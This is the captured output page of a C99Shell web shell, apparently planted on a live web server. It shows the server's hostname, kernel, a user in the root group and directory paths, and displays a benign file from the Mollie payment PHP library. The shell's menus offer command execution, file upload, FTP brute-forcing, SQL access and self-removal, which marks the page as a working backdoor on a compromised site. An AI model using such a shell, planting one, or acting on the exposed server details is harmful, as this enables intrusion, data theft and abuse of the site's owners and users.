!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/mollie/mollie-api-php/src/HttpAdapter/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MollieHttpAdapterPicker.php (1.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Mollie\Api\HttpAdapter;

use 
Mollie\Api\Exceptions\UnrecognizedClientException;

class 
MollieHttpAdapterPicker implements MollieHttpAdapterPickerInterface
{
    
/**
     * @param \GuzzleHttp\ClientInterface|\Mollie\Api\HttpAdapter\MollieHttpAdapterInterface|null|\stdClass $httpClient
     *
     * @return \Mollie\Api\HttpAdapter\MollieHttpAdapterInterface
     * @throws \Mollie\Api\Exceptions\UnrecognizedClientException
     */
    
public function pickHttpAdapter($httpClient)
    {
        if (! 
$httpClient) {
            if (
$this->guzzleIsDetected()) {
                
$guzzleVersion $this->guzzleMajorVersionNumber();

                if (
$guzzleVersion && in_array($guzzleVersion, [67])) {
                    return 
Guzzle6And7MollieHttpAdapter::createDefault();
                }
            }

            return new 
CurlMollieHttpAdapter;
        }

        if (
$httpClient instanceof MollieHttpAdapterInterface) {
            return 
$httpClient;
        }

        if (
$httpClient instanceof \GuzzleHttp\ClientInterface) {
            return new 
Guzzle6And7MollieHttpAdapter($httpClient);
        }

        throw new 
UnrecognizedClientException('The provided http client or adapter was not recognized.');
    }

    
/**
     * @return bool
     */
    
private function guzzleIsDetected()
    {
        return 
interface_exists('\\' \GuzzleHttp\ClientInterface::class);
    }

    
/**
     * @return int|null
     */
    
private function guzzleMajorVersionNumber()
    {
        
// Guzzle 7
        
if (defined('\GuzzleHttp\ClientInterface::MAJOR_VERSION')) {
            return (int) 
\GuzzleHttp\ClientInterface::MAJOR_VERSION;
        }

        
// Before Guzzle 7
        
if (defined('\GuzzleHttp\ClientInterface::VERSION')) {
            return (int) 
\GuzzleHttp\ClientInterface::VERSION[0];
        }

        return 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--